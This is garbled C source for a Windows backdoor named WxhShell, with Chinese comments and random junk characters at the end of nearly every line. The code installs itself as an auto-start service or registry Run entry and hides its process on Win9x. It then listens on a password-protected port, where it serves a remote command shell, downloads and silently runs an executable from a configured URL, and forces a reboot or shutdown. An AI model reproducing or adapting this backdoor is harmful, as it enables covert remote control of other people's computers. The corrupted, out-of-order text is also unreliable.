    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); w^HjZV  
    if(Boot(SHUTDOWN))  Qqc]aVRF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O-#TZ   
    else { ?,)"~c$hZ  
    closesocket(wsh); XN#&NT{t}  
    ExitThread(0); + BL{@,zr  
    } r8[T&z@_  
    break; w2dcH4&  
    } C5*xQlCq}  
  // 获取shell | kXm}K  
  case 's': { };b1ahaG  
    CmdShell(wsh); irKIy  
    closesocket(wsh); /7/0x ./{  
    ExitThread(0); FJ54S  
    break; Mzkkc QLK  
  } bcH_V| 5}  
  // 退出 U]R~gy}#  
  case 'x': { dU_;2#3m  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); G-u]L7t&1  
    CloseIt(wsh); QM'X@  
    break; 6B" egYv  
    } \+m$  
  // 离开 *jITOR!uF`  
  case 'q': { pK}=*y~$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?mv:neh  
    closesocket(wsh); o&SSv W  
    WSACleanup(); pf&ag#nr  
    exit(1); t Rm+?  
    break; s^hR\iY  
        } eGL<vX  
  } tg\|?  
  } RLVAT M5  
lG:kAtx4  
  // 提示信息 !L$x:/R9M  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )OP){/   
} 8e&p\%1  
  } S,{tV=&m]  
V '.a)6  
  return; F #`=oM $5  
} t;NV $!!  
`yO'[2  
// shell模块句柄 HrM$NRhu  
int CmdShell(SOCKET sock) q7\Ovjs0  
{ F<|t\KOW  
STARTUPINFO si; B^v8,;jZT  
ZeroMemory(&si,sizeof(si)); 8sOQ9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f&KdlpxKv  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~h$wH{-U#  
PROCESS_INFORMATION ProcessInfo; -ijC_`>  
char cmdline[]="cmd"; 6'vbT~S!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .; Q:p*  
  return 0; `3c CH  
} 9902+pW  
5's~>up&  
// 自身启动模式 l'[A? %L%{  
int StartFromService(void) pG3k   
{ g>JLDQdc  
typedef struct ;i<jhNA  
{ ";SiL{Z  
  DWORD ExitStatus; ]?+{aS-]?k  
  DWORD PebBaseAddress; jgv`>o%<W  
  DWORD AffinityMask; ;C.S3}  
  DWORD BasePriority; i^msjA  
  ULONG UniqueProcessId; ac{?+]8}  
  ULONG InheritedFromUniqueProcessId; ?)D^~/ A  
}   PROCESS_BASIC_INFORMATION; b KtD"JG\  
S \i@s_  
PROCNTQSIP NtQueryInformationProcess; T{v>-xBRy  
w_tJ7pz8T  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (Z] HX@"{J  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Kn`M4 O  
dT"hNHaf  
  HANDLE             hProcess; p4!:]0c  
  PROCESS_BASIC_INFORMATION pbi; p'_%aVm7  
<AH1i@4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +Vb8f["+-  
  if(NULL == hInst ) return 0; ^D%Za'  
zP\7S}p7%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); R%Y`=pK>}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); GL Mm(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .B2]xfo"`  
^x>Qf(b  
  if (!NtQueryInformationProcess) return 0; Z @ dC+0[=  
, t5 '  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $;N*cH~  
  if(!hProcess) return 0; 4<dcB@v  
*cuuzi&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; E H:T  
\y`+B*\i  
  CloseHandle(hProcess); 8.AR.o  
kRCQv-*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); uo%P+om_}  
if(hProcess==NULL) return 0; b;sVls  
:KJ pk:<  
HMODULE hMod; "\C$   
char procName[255]; w'MGA  
unsigned long cbNeeded; N["W I r  
nAIo{ F  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *g}Yw  
YHkcWz  
  CloseHandle(hProcess); E>'a,!QPv  
c/N@zum,{  
if(strstr(procName,"services")) return 1; // 以服务启动 "5R~(+~<@  
sV"UI  
  return 0; // 注册表启动 i<kD  
} q;g>t5]a  
l/TjQ*  
// 主模块 Z;Ez"t&U  
int StartWxhshell(LPSTR lpCmdLine) W&* f#E  
{ MTg:dR_  
  SOCKET wsl; a7zcIwk '{  
BOOL val=TRUE; . o7m!  
  int port=0; `nM/l @  
  struct sockaddr_in door; I-y#Ks1p+  
KqBk~-G  
  if(wscfg.ws_autoins) Install(); #} ~qqJ G2  
-}O1dEn.  
port=atoi(lpCmdLine); vE@!{*  
{vUN+We  
if(port<=0) port=wscfg.ws_port; &,A64y  
?Nf>]|K:Q  
  WSADATA data; C2LL|jp*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; An;MVA  
5pr"d@.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   MYJg8 '[j  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _v Sn`  
  door.sin_family = AF_INET; UcBe'r}G  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3bk|<7tl  
  door.sin_port = htons(port); p&+;w  
5^']+5_vb  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *.L81er5~  
closesocket(wsl); kt`nbm|aw  
return 1; /|#&px)G  
} 7+X:LA~U  
"k]CW\H6z  
  if(listen(wsl,2) == INVALID_SOCKET) { d ;vT ~;  
closesocket(wsl); 6"Bic rY  
return 1; il|1a8M2~  
} ~P~  
  Wxhshell(wsl); M@ed>.  
  WSACleanup(); q0f3="  
^O^l(e!3  
return 0; lY|Jr{+Ln  
U2uF&6v  
} }*.0N;;C  
*K> l*l(f]  
// 以NT服务方式启动 =]:>"_jN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) GKN%Tv:D_  
{ !vG'J\*xc  
DWORD   status = 0; WVVJ  
  DWORD   specificError = 0xfffffff; f|O{#AC  
o-}R?>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :ba5iMa  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; O@p]KSfk  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 311LC cRp  
  serviceStatus.dwWin32ExitCode     = 0; :Ad &$e g+  
  serviceStatus.dwServiceSpecificExitCode = 0; t#q<n:WeYU  
  serviceStatus.dwCheckPoint       = 0; pZ/>[TP(%F  
  serviceStatus.dwWaitHint       = 0; ': N51kC  
/~x "wo  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); EEGy!bff  
  if (hServiceStatusHandle==0) return; ZPbpp@,  
nstUMr6  
status = GetLastError(); 6iCrRjY*  
  if (status!=NO_ERROR) B6wRg8  
{ | WvUq  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; w)Covz'uf  
    serviceStatus.dwCheckPoint       = 0; Q}-~O1  
    serviceStatus.dwWaitHint       = 0; dtpoU&?6s  
    serviceStatus.dwWin32ExitCode     = status; XC.%za8  
    serviceStatus.dwServiceSpecificExitCode = specificError; @|Rrf*J?%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \ Y"Wu  
    return; 2WU@*%sk"  
  } =Zi2jL?On  
Z!hafhcX  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; um9_ru~  
  serviceStatus.dwCheckPoint       = 0; R {-5Etv  
  serviceStatus.dwWaitHint       = 0; {&"N%;`Q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); kF/9-[]$g,  
} rETRTp0HT  
cJ54s}  
// 处理NT服务事件,比如:启动、停止 #dM9pc jh  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ) /z@vY  
{ Mn)@{^  
switch(fdwControl) mdRU^n  
{ jQ:OKh<Y  
case SERVICE_CONTROL_STOP: d/i`l*  
  serviceStatus.dwWin32ExitCode = 0; I1PuHf Qs  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =}.EY iD  
  serviceStatus.dwCheckPoint   = 0; m 9/}~Y#k  
  serviceStatus.dwWaitHint     = 0; m=YU2!Mb  
  { K_dOq68_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); DZi!aJ  
  } o865 (<p  
  return; 5}`_x+$%(`  
case SERVICE_CONTROL_PAUSE: M)U{7c$c7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; dPhQ :sd>  
  break; -|E!e.^7:  
case SERVICE_CONTROL_CONTINUE: OoWyPdC+P  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .k,kTr$ S  
  break; )I3NeKWz  
case SERVICE_CONTROL_INTERROGATE: o<N  nV  
  break; EVoE szR  
}; TYy.jFT-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V{JAB]?^  
} 6L)%T02C  
s0PrbL%_`  
// 标准应用程序主函数 R) c'#St  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) gvL f|+m  
{ nw-I|PVTNa  
 ]C) 4  
// 获取操作系统版本 J>\B`E  
OsIsNt=GetOsVer(); 92EWIHEWZ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Z?\2F%  
}mAa}{_  
  // 从命令行安装 utIX  %0  
  if(strpbrk(lpCmdLine,"iI")) Install(); Nqu>6^-z0  
X-wf:h?i  
  // 下载执行文件 8O38# {[S  
if(wscfg.ws_downexe) { lBaR  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [D!jv "  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~c&bH]cj  
} bFW=ylF9  
@7B$Yy#  
if(!OsIsNt) { .C--gQpIv  
// 如果时win9x,隐藏进程并且设置为注册表启动 %@u;5qD&  
HideProc(); Sv +IS  
StartWxhshell(lpCmdLine); OVV]x{  
} NgY =&W,  
else 7k rUKYVo  
  if(StartFromService()) _ ]Z s,Hy  
  // 以服务方式启动 q#s,- uu  
  StartServiceCtrlDispatcher(DispatchTable); #W|'1 OX4  
else R=|{n'n$0|  
  // 普通方式启动 ;1a~pF S  
  StartWxhshell(lpCmdLine); !1ED~3 /X  
Z /9>  
return 0; CO`_^7o9(  
} t]YC"%[S  
sJDas,7>  
v-PXZ'7~  
{|'E  
=========================================== ZSG9t2qlv  
\ioH\9  
`|/<\  
(Tbw3ENz  
MgY0q?.S=  
`5C,N!d8X  
" og kD^   
dUQ DO o  
#include <stdio.h> = 17t- [  
#include <string.h> D}mjN=Y  
#include <windows.h> "OdXY"G  
#include <winsock2.h> WS`qVL]^&  
#include <winsvc.h> 2Tagr1L  
#include <urlmon.h> }&[  
i(NdGL#P  
#pragma comment (lib, "Ws2_32.lib") fP. 6HF_p_  
#pragma comment (lib, "urlmon.lib") zR{W?_cV  
xLC3>>P  
#define MAX_USER   100 // 最大客户端连接数 jJ5W>Q1mK$  
#define BUF_SOCK   200 // sock buffer K|Di1)7=/  
#define KEY_BUFF   255 // 输入 buffer v+X)Qmzf~  
6#HK'7ClL  
#define REBOOT     0   // 重启 u4/kR  
#define SHUTDOWN   1   // 关机 {o>j6RS\  
nYX@J6!  
#define DEF_PORT   5000 // 监听端口 Ipf =ZD  
;9c<K  
#define REG_LEN     16   // 注册表键长度 &MCbYph,  
#define SVC_LEN     80   // NT服务名长度 1 =M ?GDc  
,=#F//  
// 从dll定义API BYMi6wts  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); o<|P9#(U"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }3OKC2K~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); W;,C_   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); s[w6FXt  
;oc&Hb  
// wxhshell配置信息 "\3B^ e,  
struct WSCFG { "t~  
  int ws_port;         // 监听端口 ;oy-#p>N%  
  char ws_passstr[REG_LEN]; // 口令 ])nPPf  
  int ws_autoins;       // 安装标记, 1=yes 0=no Y4v|ko`l%  
  char ws_regname[REG_LEN]; // 注册表键名 rl #p".4q  
  char ws_svcname[REG_LEN]; // 服务名 BBtzs^C|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3G(miP6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %y@Hh=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 50o~ P!Lz|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <psZQdH  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .n~M(59  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Np"exFqN k  
j'HZ\_  
}; Bq$rf < W  
t({W [JL  
// default Wxhshell configuration &FF"nE*  
struct WSCFG wscfg={DEF_PORT, [rSR:V?"a  
    "xuhuanlingzhe", .p e(lP  
    1, R wZ]),o  
    "Wxhshell", .%L?J E  
    "Wxhshell", jbS\vyG  
            "WxhShell Service", &M.66O@  
    "Wrsky Windows CmdShell Service", D F*:_B )  
    "Please Input Your Password: ", ;n&t>pBM  
  1, OHhsP}/  
  "http://www.wrsky.com/wxhshell.exe", +Zaj,oEE  
  "Wxhshell.exe" `1bv@yzq  
    }; 1f":HnLRM  
}#&#^ B#?O  
// 消息定义模块 TztAZ2C  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /(.mp<s0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; sXD1C2o  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; E.Jkf\  
char *msg_ws_ext="\n\rExit."; Qm Ce>+  
char *msg_ws_end="\n\rQuit."; Yq%9M=#k  
char *msg_ws_boot="\n\rReboot..."; <gQIq{B?  
char *msg_ws_poff="\n\rShutdown..."; Ir qZi1  
char *msg_ws_down="\n\rSave to "; ):b$xNn  
GJoS #s  
char *msg_ws_err="\n\rErr!"; x7eQ2h6O  
char *msg_ws_ok="\n\rOK!"; c'S,hCe*  
M!REygyx  
char ExeFile[MAX_PATH]; F!]lU`z)=  
int nUser = 0; =AEBeiz  
HANDLE handles[MAX_USER]; ?B}{GL2)  
int OsIsNt; G}ob<`o|"  
&L,nqc\3D5  
SERVICE_STATUS       serviceStatus; E: $P=%b  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,#L=v]  
6er-{.L=  
// 函数声明 &C "L  
int Install(void); Y]B)'[=h  
int Uninstall(void); WZ*ws[dVI  
int DownloadFile(char *sURL, SOCKET wsh); e-"nB]n^/  
int Boot(int flag); H?)w!QX  
void HideProc(void); Na?!;1]_  
int GetOsVer(void); RM!<8fXYD  
int Wxhshell(SOCKET wsl); |4uWh  
void TalkWithClient(void *cs); )C(? bR  
int CmdShell(SOCKET sock); l@\#Ywz  
int StartFromService(void); hKT  
int StartWxhshell(LPSTR lpCmdLine); YTexv;VNb|  
\l]DQaOEe  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); tavpq.0O  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Cc%LztP>  
rU2%dkTa  
// 数据结构和表定义 K"4>DaK2P  
SERVICE_TABLE_ENTRY DispatchTable[] = ck.w 5|$  
{  D0% Ug>  
{wscfg.ws_svcname, NTServiceMain}, (K)]qNH  
{NULL, NULL} Te<}*qvD  
}; L>SjllY  
+ayos[<0#  
// 自我安装 j]aoR  
int Install(void) :uK? 4  
{ ecCr6)  
  char svExeFile[MAX_PATH]; T`;%TO*Y  
  HKEY key; {O7X`'[  
  strcpy(svExeFile,ExeFile); %\H|B0  
`m!j$,c.  
// 如果是win9x系统,修改注册表设为自启动 _U |>b>  
if(!OsIsNt) { CkdP#}f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^7 &5 z&o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ipq"E  
  RegCloseKey(key); uFPF!Ern  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7 D^gMN%p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [`c^ 4 E  
  RegCloseKey(key); /M3Y~l$  
  return 0; /qy-qUh3h  
    } pJt,9e6  
  } /.o^R6  
} .2v_H5<  
else { *U]V@;XF  
^wc"&;=c|  
// 如果是NT以上系统,安装为系统服务 EuyXgK>g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); OG~6L4"  
if (schSCManager!=0) < F`>,Pm  
{ ak |WW]R  
  SC_HANDLE schService = CreateService z2QP)150  
  ( s1h/}  
  schSCManager, [N#, K02mk  
  wscfg.ws_svcname, D-4f >  
  wscfg.ws_svcdisp, 7zSLAHW  
  SERVICE_ALL_ACCESS, or';A'k  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , i5K[>5  
  SERVICE_AUTO_START, #>mr[   
  SERVICE_ERROR_NORMAL, Qg[/%$x.  
  svExeFile, bS"fkf9  
  NULL, obNqsyc77R  
  NULL, p|&Yku=  
  NULL, /5:bvg+  
  NULL, g#t[LI9(F[  
  NULL }7 c[Q($K  
  );  \V*xWS  
  if (schService!=0) b+&% 1C  
  { |qmu _x\  
  CloseServiceHandle(schService); 8_ tK4PwP  
  CloseServiceHandle(schSCManager); ` M3w]qJ<}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); p%R  
  strcat(svExeFile,wscfg.ws_svcname); .[JYj(p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <\pfIJr$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); t<|NLk.  
  RegCloseKey(key); MgNU``  
  return 0; 6Qy@UfB  
    } !=:$lzS^  
  } UmclTGn  
  CloseServiceHandle(schSCManager); +i2}/s@JJ  
} @>)r}b  
} yX0dbW~@y  
8W#heW\-]  
return 1; .sj^{kGE  
} d BJJZ^(  
U2wbvXr5-  
// 自我卸载 L"j tf78  
int Uninstall(void) nY`RR C  
{ 2VJR$Pao  
  HKEY key; %^>ju;i^O  
!Y\D?rKZ  
if(!OsIsNt) { <RG|Dx[:=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DFd%9*N  
  RegDeleteValue(key,wscfg.ws_regname); HAJ7m!P  
  RegCloseKey(key); 8peDI7[|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \DD0s8  
  RegDeleteValue(key,wscfg.ws_regname); thvYL.U :  
  RegCloseKey(key); {'2@(^3  
  return 0; tGl;@V@Qj  
  } 3 "Q=Vl"  
} [>1OJY.S}T  
} 2U:H545]]  
else { km1~yQ"bH  
lAJxr8 .  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (3 #Cl 1]f  
if (schSCManager!=0) 4W)B'+ZK8  
{ K?zH35f$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )l[M Q4vWW  
  if (schService!=0) ;Mpy#yIU.  
  { Qe5U<3{JZ  
  if(DeleteService(schService)!=0) { j"|=C$Kn/  
  CloseServiceHandle(schService); !/3B3cG  
  CloseServiceHandle(schSCManager); !cAyTl(_  
  return 0; \&iP`v`K  
  } `P8Vh+7u  
  CloseServiceHandle(schService); B&.FO O  
  } u( wGl_  
  CloseServiceHandle(schSCManager); }c}| $h^Y  
} y?a Acn$  
} Ie`13 L2  
QZ:8+[oy  
return 1; PV/7 7{'  
} TT4./R:  
'b#0t#|TM  
// 从指定url下载文件 I9 mvt e  
int DownloadFile(char *sURL, SOCKET wsh) EVVP]ND  
{ d\61; C  
  HRESULT hr; },>pDeX^P  
char seps[]= "/"; Qkd<sxL  
char *token; qLT>Mz)$ %  
char *file; 3`ELKq  
char myURL[MAX_PATH]; v {jQek4  
char myFILE[MAX_PATH]; bV$)!]V  
G1"zElug  
strcpy(myURL,sURL); 0DmMG  
  token=strtok(myURL,seps); OVko+X`  
  while(token!=NULL) 8rMX9qTO@  
  { I>[RqG  
    file=token; =|%Cu&  
  token=strtok(NULL,seps); ]&i.b+^  
  } pm\x~3jHs  
-"h;uDz|z  
GetCurrentDirectory(MAX_PATH,myFILE); !\"5rNy  
strcat(myFILE, "\\"); 4x;/HEb7?  
strcat(myFILE, file); HaYE9/xS  
  send(wsh,myFILE,strlen(myFILE),0); 2#<xAR  
send(wsh,"...",3,0); %QKRFPYhS  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); k-HCeZ  
  if(hr==S_OK) :)_~w4&  
return 0; l*kPOyB  
else L2pp6bW  
return 1; PG_0\'X)/w  
9v }G{mQ#  
} ;M_o)OS3  
S`"LV $8  
// 系统电源模块 M\Z6$<H?U  
int Boot(int flag) bV8!"{  
{ z6?)3'  
  HANDLE hToken; lmxr oHE  
  TOKEN_PRIVILEGES tkp; z[cyA.  
oA =4=`  
  if(OsIsNt) { yI ld75S`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); eXK o.JL  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); B|4X}*@SX  
    tkp.PrivilegeCount = 1; tvu!< dxZ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; E7CH^]x  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); sp5eVAd  
if(flag==REBOOT) { Tjl:|F8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8&Oa_{1+Q  
  return 0; nD)K}4  
} P4F3Dc  
else { C!R1})_^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) l411a9o  
  return 0; O=$~O\}b  
} n< ud> JIb  
  } ~<k,#^"}X  
  else { /}PF\j9#4  
if(flag==REBOOT) { @*qz(h]\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) C":o/;,1  
  return 0; '^Ql]% _  
} ) :\xHR4  
else { Q"t<3-"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) u6MzRC  
  return 0; X83 w@-$}  
} UQ+?\wi*  
} _`I "0.B]  
F@*+{1R  
return 1; )QG<f{wS  
} qOUqs'7/]  
aAA9$  
// win9x进程隐藏模块 >2Jdq  
void HideProc(void) +=mkCU  
{ Y;e,Gq`  
sz)oZPu|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); RgGyoZ  
  if ( hKernel != NULL ) _x? uU  
  { ObE,$_ k  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;+tpvnV;]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); GD:4"$)[o  
    FreeLibrary(hKernel); :sP!p`dl  
  } 3Ezy %7  
jWY$5Vq<H  
return; ?APe R,"V  
} !O#dV1wAa  
{fEwA8Ir  
// 获取操作系统版本 lr{?"tl_  
int GetOsVer(void) ' /$d0`3B>  
{ 5i-Rglo  
  OSVERSIONINFO winfo; OI?K/rn  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ph_4q@  
  GetVersionEx(&winfo); 7yz4'L  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) IR-dU<<9O  
  return 1; svuq gSn  
  else "d$m@c  
  return 0; VB?O hk]<  
} jU3Z*Z)zN  
~{D[ >j][  
// 客户端句柄模块 N*`b%XGn3  
int Wxhshell(SOCKET wsl) +Ag!?T  
{ vi|R(&  
  SOCKET wsh; kdCP  
  struct sockaddr_in client;  (:";i&  
  DWORD myID; x&`~R>5/  
h[?O+Z^  
  while(nUser<MAX_USER) *$"gaXI  
{ |0\0a&tkPl  
  int nSize=sizeof(client); z)xSN;x  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =e}H'5?!  
  if(wsh==INVALID_SOCKET) return 1; "n: %E  
RKa}$ 7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ZWm8*}3]7_  
if(handles[nUser]==0) C:uz6i1  
  closesocket(wsh); J8"[6vId~  
else LS5vW|]w  
  nUser++; Qq@G\eRo  
  } ` AkIK*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]/!<PF  
S<L.c  
  return 0; W?We6.%  
} sz9G3artK&  
<97d[/7i  
// 关闭 socket 0UH*\<R  
void CloseIt(SOCKET wsh) " beQZG  
{ +R\vgE68  
closesocket(wsh); sT/c_^y  
nUser--; RC^9HuR&  
ExitThread(0); 5|I[>Su  
} q\q=PB6r  
78Aa|AJU  
// 客户端请求句柄 /\w)>0  
void TalkWithClient(void *cs) R'dSbn  
{ 'r@:Cz3e*I  
xESjM1A)  
  SOCKET wsh=(SOCKET)cs; _6k*'aT~FK  
  char pwd[SVC_LEN]; 2~*Ez!.3  
  char cmd[KEY_BUFF]; X<MO7I  
char chr[1]; e|rg;`AW  
int i,j; WH$e2[+Y  
F*Z=<]<+  
  while (nUser < MAX_USER) { $XU5??8  
"iM~Hy  
if(wscfg.ws_passstr) { K 9kUS  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W>=o*{(YO  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M@(^AK{mU  
  //ZeroMemory(pwd,KEY_BUFF); KYkS9_yF  
      i=0; i`0v#P  
  while(i<SVC_LEN) { t9_E$w^U  
$v`afd y  
  // 设置超时 O Lc}_  
  fd_set FdRead; zi'Jr)n  
  struct timeval TimeOut; S/`%Q2za4  
  FD_ZERO(&FdRead); $x#FgD(iI  
  FD_SET(wsh,&FdRead); D&ve15wL  
  TimeOut.tv_sec=8; /oL;YIoQX  
  TimeOut.tv_usec=0;  x-'~Bu  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); NJ MJ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X]y )ZF26  
Dl&GJ`&:p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <X_!x_x  
  pwd=chr[0]; !~ZP{IXyo  
  if(chr[0]==0xd || chr[0]==0xa) { jhGlG-^  
  pwd=0; S\wW)Pv8  
  break; ;c -3g]  
  } ;&b%Se@#p  
  i++; &5%dhc4&!&  
    } cDrebU  
 2T)sXBu  
  // 如果是非法用户,关闭 socket 6QNs\Ucb+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #n  
} L!'k ! k  
A;J MV+2N  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >m'x8xB=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k{AyD`'Q  
mF09U(ci  
while(1) { a{!r`>I\f  
3S BZ>  
  ZeroMemory(cmd,KEY_BUFF); o:Zd1"Z  
;XC@ =RpX  
      // 自动支持客户端 telnet标准   U{ ;l0 2S  
  j=0; e.o;eD}"  
  while(j<KEY_BUFF) { *RR[H6B^]X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vU*x2fVb}  
  cmd[j]=chr[0]; W"Jn(:&  
  if(chr[0]==0xa || chr[0]==0xd) { #Rew [\$  
  cmd[j]=0; %>WbmpIyc  
  break; Vh<A2u3&  
  } + q''y  
  j++; kz q29S  
    } '(#g1H3  
S:8OQI  
  // 下载文件 v8I{XU@%  
  if(strstr(cmd,"http://")) { ibdO*E  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); nPkZHIxuD  
  if(DownloadFile(cmd,wsh)) &*&?0ov^"  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q0{z).&\(e  
  else tJ=di5&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); . -"E^f  
  } me\cLFw  
  else { "%@uO)A /  
plV7+?G  
    switch(cmd[0]) { \;]kYO}  
  15zrrU~D  
  // 帮助 y_}SK6{  
  case '?': { uD[ "{?H  
